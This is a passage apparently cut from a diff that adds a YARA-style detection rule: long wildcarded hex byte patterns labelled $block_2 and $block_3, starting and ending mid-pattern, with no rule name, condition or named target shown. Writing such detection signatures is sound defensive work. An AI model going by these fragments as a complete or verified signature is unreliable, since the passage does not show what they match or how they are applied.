?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F B6 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 35 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 }
+		$block_2 = { 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 0F B7 ?? ?? 5? 0F B6 ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 6B ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? 5? 0F B6 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 0F B6 ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 7E }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C6 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 